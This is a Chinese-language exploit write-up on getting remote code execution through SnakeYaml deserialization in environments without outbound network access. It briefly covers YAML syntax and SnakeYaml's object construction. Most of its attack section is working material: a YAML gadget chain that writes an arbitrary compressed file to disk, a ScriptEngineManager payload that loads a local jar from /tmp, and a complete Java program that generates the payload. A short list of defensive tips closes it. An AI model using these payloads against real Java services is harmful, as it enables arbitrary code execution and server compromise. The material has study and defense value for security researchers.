SnakeYaml 之不出网RCE
字数 1261 2025-08-24 23:51:15
SnakeYaml 不出网RCE利用技术研究
一、SnakeYaml简介与基础
SnakeYaml是Java的YAML解析类库,支持Java对象的序列化/反序列化。
YAML基础语法
-
基本格式要求:
- YAML大小写敏感
- 使用缩进代表层级关系
- 缩进只能使用空格,不能使用TAB
- 不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
-
示例:
environments:
dev:
url: http://dev.bar.com
name: Developer Setup
prod:
url: http://foo.bar.com
name: My Cool App
my:
servers:
- dev.bar.com
- foo.bar.com
- 支持的数据结构:
- 对象:使用冒号代表,格式为
key: value - 数组:使用一个短横线加一个空格代表一个数组项
- 常量:包括整数、浮点数、字符串、NULL、日期、布尔、时间等
- 对象:使用冒号代表,格式为
二、SnakeYaml反序列化机制
SnakeYaml支持三种反序列化方式:
1. 无构造函数和set函数情况
使用反射的方式自动赋值。
示例类:
public class ModelA {
public int a;
public int b;
}
反序列化方式:
Yaml yaml = new Yaml();
ModelA a = (ModelA)yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}");
2. 构造函数调用
使用[]语法调用构造函数。
示例类:
public class ModelB {
public int a;
public int b;
public ModelB(int a, int b) {
this.a = a;
this.b = b;
}
}
反序列化方式:
ModelB b = (ModelB)yaml.load("!!com.zlg.SnakeYaml.ModelB [5, 0]");
3. 调用setXX函数
通过属性名调用对应的set方法。
示例类:
public class ModelC {
public int a;
public void setInput(int a) {
this.a = a;
}
}
反序列化方式:
ModelC c = (ModelC)yaml.load("!!com.zlg.SnakeYaml.ModelC {input: 5}");
关键点:
- 要调用
setInput函数,把set去掉并将后面单词首字母小写后作为属性名 - SnakeYaml可以利用Fastjson和Jackson的所有利用链
- 没有autotype的限制
三、不出网RCE利用技术
1. 技术背景
传统SnakeYaml利用ScriptEngineManager链需要出网加载远程jar包,不出网环境下无法使用。
2. 利用思路
- 使用FastJson 1.2.68链写本地文件
- 使用ScriptEngineManager加载本地jar包进行代码执行
3. 具体实现
3.1 本地写文件POC
基于FastJson 1.2.68链改写为YAML形式:
!!sun.rmi.server.MarshalOutputStream [
!!java.util.zip.InflaterOutputStream [
!!java.io.FileOutputStream [
!!java.io.File ["Destpath"],
false
],
!!java.util.zip.Inflater {
input: !!binary base64str
},
1048576
]
]
参数说明:
Destpath:生成的文件路径(Linux下建议使用/tmp目录)base64str:经过zlib压缩后的文件内容的Base64编码
3.2 本地加载jar包POC
!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["file:///tmp/payload.jar"]
]
]
]
4. 完整POC生成代码
package com.zlg.serialize.snakeyaml;
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String[] args) throws Exception {
String poc = createPoC("./1.txt", "./file/yaml-payload.txt");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath, String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try {
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""
+ Destpath + "\"],false],!!java.util.zip.Inflater { input: !!binary "
+ base64str + " },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
四、技术要点总结
-
SnakeYaml反序列化特点:
- 支持反射赋值、构造函数调用和set方法调用
- 可以利用Fastjson和Jackson的利用链
- 没有autotype限制
-
不出网RCE关键技术:
- 结合FastJson 1.2.68的本地写文件能力
- 使用ScriptEngineManager加载本地jar包
- 通过zlib压缩和Base64编码处理文件内容
-
注意事项:
- 文件内容需要经过zlib压缩后再Base64编码
- SnakeYaml中byte数组的正确表示方式为
!!binary base64str - Linux下建议使用
/tmp目录,通常有写入权限
五、防御建议
- 避免反序列化不可信的YAML数据
- 使用安全配置或白名单机制限制反序列化的类
- 及时更新相关组件到安全版本
- 监控和限制可疑的文件操作和类加载行为
六、参考资源
- Java SnakeYaml反序列化漏洞
- FastJson 1.2.68漏洞分析
- SnakeYaml官方文档